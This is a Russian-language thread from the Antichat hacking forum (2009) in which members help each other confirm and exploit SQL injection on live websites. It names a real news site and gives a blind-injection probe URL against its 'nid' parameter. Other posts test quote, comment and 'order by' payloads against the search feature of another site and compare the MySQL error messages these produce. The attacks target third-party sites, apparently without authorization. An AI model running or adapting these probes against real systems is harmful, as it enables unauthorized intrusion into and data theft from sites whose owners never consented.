Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
14.03.2009, 10:38
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534
Репутация:
2731
|
|
http://www.msm-5.ru/news.phtml?sid=79&nid=57 - стр. 57
http://www.msm-5.ru/news.phtml?sid=79&nid=57/**/ - стр. 57
http://www.msm-5.ru/news.phtml?sid=79&nid=57-2 - стр. 55
Это инъекция, но кол-во не могу подобрать - дошел до 20.
|
|
|
14.03.2009, 10:41
|
|
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
Провел на форуме:
1571865
Репутация:
571
|
|
Сообщение от mailbrush
http://www.msm-5.ru/news.phtml?sid=79&nid=57 - стр. 57
http://www.msm-5.ru/news.phtml?sid=79&nid=57/**/ - стр. 57
http://www.msm-5.ru/news.phtml?sid=79&nid=57-2 - стр. 55
Это инъекция, но кол-во не могу подобрать - дошел до 20.
3-ья ветка
Код:
http://www.msm-5.ru/news.phtml?sid=79&nid=57+and+substring(version(),1,1)=3
|
|
|
|
14.03.2009, 10:42
|
|
Постоянный
Регистрация: 07.03.2008
Сообщений: 479
Провел на форуме:
791766
Репутация:
61
|
|
Сообщение от R1dex
Ну да..
Ничего же не происходит? где должен высветится ответ от SQL?
Последний раз редактировалось Byrger; 14.03.2009 в 11:10..
|
|
|
|
14.03.2009, 10:43
|
|
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
Провел на форуме:
1571865
Репутация:
571
|
|
Сообщение от Byrger
Ничего же не происходит? где должен высветится ответ от SQL?
Это называется блинд инъекция..
Подробнее можно почитать, например, тут .
|
|
|
|
14.03.2009, 10:43
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534
Репутация:
2731
|
|
Эм.. Крут. А во что енкодятся буквы? (ну типа символ = числу (скажите что за енкодинг))
|
|
|
|
14.03.2009, 10:44
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944
Репутация:
1550
|
|
2 Byrger почитай про слепые скули
http://forum.antichat.ru/thread19844-blind+sql.html
2 mailbrush если я правильно тебя понял то это char
http://www.webfuture.ru/igo/convert.php
|
|
|
|
14.03.2009, 18:05
|
|
Участник форума
Регистрация: 18.11.2007
Сообщений: 184
Провел на форуме:
1686744
Репутация:
246
|
|
You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near ''%' or entities.description like '%1'%') and (entities.keyword
Если переменная не фильтруется и включено сообщение о выводе ошибки. В моём случае возможно ченють вывести? При этом сообщение.
|
|
|
|
14.03.2009, 18:52
|
|
Новичок
Регистрация: 04.09.2008
Сообщений: 10
Провел на форуме:
28477
Репутация:
1
|
|
Расскажите как можно добавить несколько одинаковых сайтов?
http://1xx.ru/1x9
 |
|
|
|
14.03.2009, 19:55
|
|
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293
Репутация:
4915
|
|
S0ulVortex
А как по твоему по ошибке можно сказать о наличии или отсутствие вывода?
Со 100% уверенностью нельзя даже сказать, есть там скуль или нет. Хотя. думаю, что есть и запрос будет примерно такой:
1') order by 1/* но это лишь предположение
KPbIBe[D]Ko
Мне надоело тереть твои посты. Прочти правила форума, раздела, темы, ПМ. Хоть что-нибудь прочитай. Просьбы о взломах, о поиске багов, сюда постить не надо. Здесь разбирают конкретные уязвимости УЖЕ найденные. По которым необходима какая-либо помощь
Последний раз редактировалось jokester; 14.03.2009 в 20:23..
|
|
|
|
14.03.2009, 20:09
|
|
Участник форума
Регистрация: 18.11.2007
Сообщений: 184
Провел на форуме:
1686744
Репутация:
246
|
|
Сообщение от jokester
S0ulVortex
А как по твоему по ошибке можно сказать о наличии или отсутствие вывода?
Со 100% уверенностью нельзя даже сказать, есть там скуль или нет. Хотя. думаю, что есть и запрос будет примерно такой:
1') order by 1/* но это лишь предположение
Я не уверен, но интуиция подсказывает что такая ошибка на столь значительном проекте это уже просто недочет о котором не заметили и по этому я так уверенно задал вопрос а вдруг прокатит.
А вот что ещё заметил это получается в поиске при добавление кавычки ( ' ) вылетает такое сообщение. Еслиже писать любой текст или ещё че он пишет типа ничего не найдено.
Заметил ещё ошибка меняется если ставить просто ( ' )
Код:
You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '')' at line 6
А если к примеру поставить такое ( ' -- )
Ошибка такая
Код:
You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '%' or entities.name like '%--%' or entities.description like '%
А при ( ') order by 1/* )
выводит такую ошибку
Код:
You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '')%' or entities.description like '%1')%') and (entities.keyword
А если ставить ( ' ' ) то ошибка пропадает
Последний раз редактировалось S0ulVortex; 14.03.2009 в 20:26..
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
